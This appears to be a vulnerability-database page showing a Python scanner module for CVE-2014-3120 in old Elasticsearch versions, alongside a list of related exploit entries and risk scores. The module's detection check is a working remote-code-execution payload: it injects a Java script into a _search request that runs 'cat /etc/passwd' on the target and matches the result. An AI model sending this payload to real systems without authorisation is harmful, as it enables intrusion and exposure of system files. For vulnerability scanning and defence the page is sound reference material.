ElasticSearch v1.1.1/1.2 RCE Detection
| Reporter | Title | Published | Views | Family All 136 |
|---|---|---|---|---|
| Exploit for Improper Access Control in Elastic Elasticsearch | 8 Oct 202622:15 | – | githubexploit | |
| Exploit for Improper Access Control in Elasticsearch | 7 Jul 201420:28 | – | githubexploit | |
| ElasticSearch Remote Code Execution Exploit | 15 May 201400:00 | – | zdt | |
| ElasticSearch Dynamic Script Arbitrary Java Execution | 1 Jun 201400:00 | – | zdt | |
| Exploit for Improper Access Control in Elasticsearch | 6 Jul 202502:42 | – | gitee | |
| Exploit for Improper Access Control in Elasticsearch | 3 Jun 202110:56 | – | gitee | |
| Exploit for Improper Access Control in Elasticsearch | 3 Sep 202008:57 | – | gitee | |
| Exploit for Improper Access Control in Elasticsearch | 21 Sep 202014:36 | – | gitee | |
| Exploit for Improper Access Control in Elasticsearch | 25 Jan 202102:52 | – | gitee | |
| Exploit for Improper Access Control in Elasticsearch | 18 Oct 202000:49 | – | gitee |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The default configuration in Elasticsearch before 1."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'ElasticSearch v1.1.1/1.2 RCE Detection',
'description': "The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. Be aware this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.",
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve2014', 'cve', 'rce', 'elasticsearch', 'kev', 'vulhub', 'elastic', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120',
'https://www.elastic.co/blog/logstash-1-4-3-released',
'https://nvd.nist.gov/vuln/detail/CVE-2014-3120',
'http://bouk.co/blog/elasticsearch-rce/',
'https://www.elastic.co/community/security/',
],
'cve': 'CVE-2014-3120',
}
def run(self):
path = '/_search?pretty'
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Accept': '*/*', 'Accept-Language': 'en', 'Content-Type': 'application/x-www-form-urlencoded'}, data='{\n "size": 1,\n "query": {\n "filtered": {\n "query": {\n "match_all": {\n }\n }\n }\n },\n "script_fields": {\n "command": {\n "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\\"cat /etc/passwd\\").getInputStream()).useDelimiter(\\"\\\\\\\\A\\").next();"\n }\n }\n}\n')
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
header_any = ('application/json',)
body_regexes = ('root:.*:0:0:',)
if (any(m in headers for m in header_any)) and (any(re.search(rx, body) for rx in body_regexes)):
self.set_info(severity='medium', reason='ElasticSearch v1.1.1/1.2 RCE detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
8High risk
Vulners AI Score8
CVSS 26.8
CVSS 3.18.1
EPSS0.88559
SSVC